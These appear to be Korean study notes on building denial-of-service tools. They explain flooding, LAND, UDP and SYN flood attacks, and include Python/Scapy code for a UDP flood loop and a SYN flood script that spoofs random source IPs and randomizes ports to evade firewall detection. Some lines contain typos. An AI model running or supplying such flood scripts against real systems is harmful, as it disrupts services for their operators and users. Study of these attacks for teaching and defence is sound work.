서비스 거부 공격 도구의 구현
flooding 공격
→ 출발지 IP 주소를 수시로 변경하면서, 불필요한 데이터를 계속 전송해 상대방에게 인위적으로 과부화를 유발시키는 기법
→ 일반적으로 IP 스푸핑 기법과 결합해 수행
→ 공격 시, 다수의 좀비 시스템을 동원 ⇒ DDOS 공격이라고도 부름
→ 네트워크 공격 중 가장 파괴적이고 위력적
봇넷
→ 동원된 다수의 좀비 시스템
랜드 공격 → 네트워크 계층에 기반
→ IP 스푸핑 공격을 변형한 기법
→ 출발지 IP 주소를 목적지 IP 주소와 동일하게 설정한 뒤, ICMP 요청 패킷 등을 공격 대상자에게 전송
→ 인위적인 과부화를 유발케 하는 네트워크 계층의 플러딩 공격
from scapy.all import *
for x in range(1, 100):
send(i/t)
# 함수를 이용해 패킷을 100회 전송
Python
복사
UDP/TCP 플러딩 공격 → 전송 계층에 기반
→ UDP 패킷에는 출발지 IP 주소 항목이 있지만, 프로토콜 설계 특성상
→ 비연결 지향이기 때문에,
→ 해당 주소의 정확성 여부를 검증하지 않는다
→ 이러한 점을 악용 → 공격자는 UDP 또는 ICMP 패킷을 다량으로 전송하면서,
→ 마치 다른 사용자로부터 출발한 패킷처럼 조작할 수 있다
→ 서버는 자신이 운용 가능한 네트워크 대역폭이 제한적일 수밖에 없으므로,
→ 일정 정도의 임계치를 초과하면, 해당 서비스가 잠식
→ 다른 정상적인 접속 요청을 처리 못한다
while True:
if time.time() > timeout: # 10초 초과시 종료
break
else:
pass
client.sendto(bytes, (ip, port))
# 생성한 임의 패킷을 해당 IP와 포트 번호에 전송
sent = sent + 1
Python
복사
TCP 플러딩 공격 or SYN 플러딩 공격
→ 서버의 자원을 인위적으로 소모시키는 기법
•
UDP와의 차이점
◦
TCP 플러딩 공격은 3단계 연결 설정 속성을 악용한다는 점
◦
매 순간 공격 대상자에게 출발지 IP 주소를 조작하면서,
◦
대량의 SYN 플래그를 쏟아 부으면
◦
공격 대상자는 어느 순간 과부하 상태에 빠진다
→ 파괴력을 높이기 위해 흔히, TCP 플러딩 공격 수행시 봇넷을 이용
# 임의의 출발지 IP 주소를 생성하는 함수
def randomIP():
ip = ".",join(map(str, (random.randint(0, 255) for _ in range(4))))
return ip
# 방화벽의 탐지 설정을 교란시키기 위해 무작위의 숫자를 추출하는 함수
def randInt():
x = random.randint(1000, 9000)
return x
# 조작된 패킷을 생성하는 함수
def SYN_Flood(dstIP, dstPort, counter):
total = 0
print("Packets are sending...")
for x in range(0, counter):
s_port = randInt() # 포트 번호를 무작위로 설정
s_eq = randInt() # 일련 번호를 무작위로 설정
w_indow = randInt() # 윈도우 크기를 무작위로 설정
IP_Packet = IP()
IP_Packet.src = randomIP() # 임의의 출발지 IP 주소를 생성
IP_Packet.dst = dsIP # 지정된 목적지 IP 주소를 공격 대상으로 설정
TCP_Packet = TCP()
TCP_Packet.sport = s_port # 생성한 포트 번호를 사용
TCP_Packet.dport = dstPort # 지정된 목적지 포트 번호를 사용
TCP_Packet.flags = "S" # SYN 플래그 생성
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet / TCP_Packet, verbose=0) # TCP 패킷 전송
total = total + 1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def main(): # 조작된 패킷을 생성하고 전송하는 함수
dstIP = "127.0.0.1" # 공격 대상 IP 주소
dstPort = 4321 # 공격 대상 포트 번호
counter = 50 # TCP 플러딩 공격 횟수 지정
SYN_Flood(dstIP, int(dstPort), int(counter))
main()
Python
복사
슬로우로리스 공격 → 응용 계층
→ 웹 서비스에서 일어나는 플러딩 공격 중 가장 파괴적
→ 좀비 시스템이 없어도 상당한 효과